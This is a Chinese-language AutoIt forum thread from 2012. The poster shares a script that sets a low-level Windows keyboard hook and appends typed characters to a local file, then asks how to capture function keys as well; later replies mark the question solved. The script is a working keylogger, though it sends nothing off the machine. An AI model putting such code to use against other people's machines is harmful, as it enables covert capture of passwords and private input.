找回密码
 加入
搜索
查看: 2164|回复: 3

[AU3基础] [已解决]保存键盘按键程序,可惜它不能保存功能键,请高人指点。

[复制链接]
发表于 2012-4-6 15:22:13 | 显示全部楼层 |阅读模式
本帖最后由 給点阳光 于 2012-4-9 08:11 编辑

#AutoIt3Wrapper_Au3Check_Parameters=-d -w 1 -w 2 -w 3 -w 4 -w 5 -w 6
#include <WindowsConstants.au3>
#include <StructureConstants.au3>
#include <WinAPI.au3>
Opt('MustDeclareVars', 1)
Global $hHook, $hStub_KeyProc, $buffer = "" ,$file = FileOpen("keyword.txt", 1)
_Main()
FileClose($file)
Func _Main()
    OnAutoItExitRegister("Cleanup")
    Local $hmod

    $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
    $hmod = _WinAPI_GetModuleHandle(0)
    $hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)  
    While 1
        Sleep(10)
    WEnd
EndFunc ;==>_Main            
Func EvaluateKey($keycode)
   If ($keycode > 31) Then
       $buffer &= Chr($keycode)
   ElseIf ($keycode = 27) Then ; esc key
       FileWriteLine($file, $buffer)
       Exit     
   EndIf   
   If ($keycode = 13) Then
      FileWriteLine($file, $buffer)
      $buffer=""
   EndIf
EndFunc ;==>EvaluateKey

; ===========================================================
; 回调函数
; ===========================================================
Func _KeyProc($nCode, $wParam, $lParam)
    Local $tKEYHOOKS
    $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
    If $nCode < 0 Then
        Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
    EndIf
    If $wParam = $WM_KEYDOWN Then
        EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
    Else
        Local $flags = DllStructGetData($tKEYHOOKS, "flags")
        Switch $flags
            Case $LLKHF_ALTDOWN
                ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)
            Case $LLKHF_EXTENDED
                ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)
            Case $LLKHF_INJECTED
                ConsoleWrite("$LLKHF_INJECTED" & @CRLF)
            Case $LLKHF_UP
                ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @CRLF)
        EndSwitch
    EndIf
    Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc   ;==>_KeyProc
Func Cleanup()
    _WinAPI_UnhookWindowsHookEx($hHook)
    DllCallbackFree($hStub_KeyProc)
EndFunc   ;==>Cleanup
 楼主| 发表于 2012-4-6 15:25:35 | 显示全部楼层
这代码是在别人的基础上修改的,我希望通过回调函数,能把所有键盘按键保存在keyword.txt 文件里,怎么得到那些功能键的值呢?
 楼主| 发表于 2012-4-7 11:55:54 | 显示全部楼层
本帖最后由 給点阳光 于 2012-4-7 12:00 编辑

已解决,前人早已实现:http://www.autoitx.com/thread-2389-1-12.html
找了半天也不知道怎么编辑主题贴上已解决字样,管理员帮帮忙!
发表于 2012-4-7 12:16:05 | 显示全部楼层
已解决,前人早已实现:
找了半天也不知道怎么编辑主题贴上已解决字样,管理员帮帮忙!
給点阳光 发表于 2012-4-7 11:55



    直接编辑标题加注“已解决”字样即可
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-11-15 01:11 , Processed in 0.072600 second(s), 23 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表